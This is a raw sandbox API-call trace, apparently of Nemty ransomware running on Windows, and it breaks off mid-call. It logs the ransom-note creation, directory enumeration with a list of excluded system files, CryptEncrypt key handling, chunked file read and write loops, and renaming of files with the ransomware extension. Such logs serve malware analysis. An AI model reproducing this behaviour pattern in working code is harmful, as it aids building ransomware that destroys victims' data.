HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0147.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402e8 [0147.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63403b0 [0147.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0147.328] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0147.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.329] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.329] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0147.330] CloseHandle (hObject=0x254) returned 1 [0147.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0147.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0147.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0147.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb757e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb757e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0147.330] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0147.330] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb757e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb757e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0147.330] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0147.330] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0147.330] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2=".") returned 1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="..") returned 1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="...") returned 1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="windows") returned -1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="$RECYCLE.BIN") returned 1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="rsa") returned -1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="NTDETECT.COM") returned -1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="ntldr") returned -1 [0147.330] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="MSDOS.SYS") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="IO.SYS") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="boot.ini") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="boot.ini") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="ntuser.dat") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="desktop.ini") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="CONFIG.SYS") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="RECYCLER") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="BOOTSECT.BAK") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="bootmgr") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="programdata") returned -1 [0147.331] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="appdata") returned 1 [0147.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg_sidebar.png", lpUsedDefaultChar=0x0) returned 14 [0147.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg_sidebar.png", lpUsedDefaultChar=0x0) returned 14 [0147.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg_sidebar.png", lpUsedDefaultChar=0x0) returned 14 [0147.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg_sidebar.png", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg_sidebar.png", lpUsedDefaultChar=0x0) returned 14 [0147.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402e8 [0147.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0147.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403b0 [0147.331] Sleep (dwMilliseconds=0x5) [0147.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xb77df90, dwHighDateTime=0x1d561e8)) [0147.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xb77df90, dwHighDateTime=0x1d561e8)) [0147.340] GetLastError () returned 0xb7 [0147.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.340] GetLastError () returned 0xb7 [0147.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0147.340] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0147.340] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0147.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0147.340] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653e5dc | out: pszString="1rczHTN3hi6WsorutRY3n5SFpFF4GENJbnJfM3sYZNN9zWcNVIR5W0cKPTcDcSbS\r\n3r56jN2yP2ZXCPtR9Dm8ch2hl9unxgydW6JoincFtqJAAWV29pi4/Niv51Z2BNVP\r\nFiG/QRZ5AyKZro6z9Zndm4aIfDfaRcmAXPhPqoYEkbHb/W88g7Fg5c0QQzYneN1w\r\nW1PzPr0d8/rhhcJkgnyeg0IQMxJml5wTzJohlp0QBIJkezs6Rrd8IN4nYeaQCGIb\r\nvQgSFWR4LtZ8ku+32P6P9K6Oj5VF7yhbb5dkNzn+CBDnEkvxB0VQXkEl/AAxOp2H\r\nK+Iu+4GNM24sWXn/vbUltg==\r\n", pcchString=0x653e5dc) returned 1 [0147.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0147.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0147.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.341] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\bg_sidebar.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\bg_sidebar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.341] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0147.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0147.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6343fe8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.449] CloseHandle (hObject=0xffffffff) returned 0 [0147.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0147.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0147.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344220 [0147.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\bg_sidebar.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\bg_sidebar.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\bg_sidebar.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows 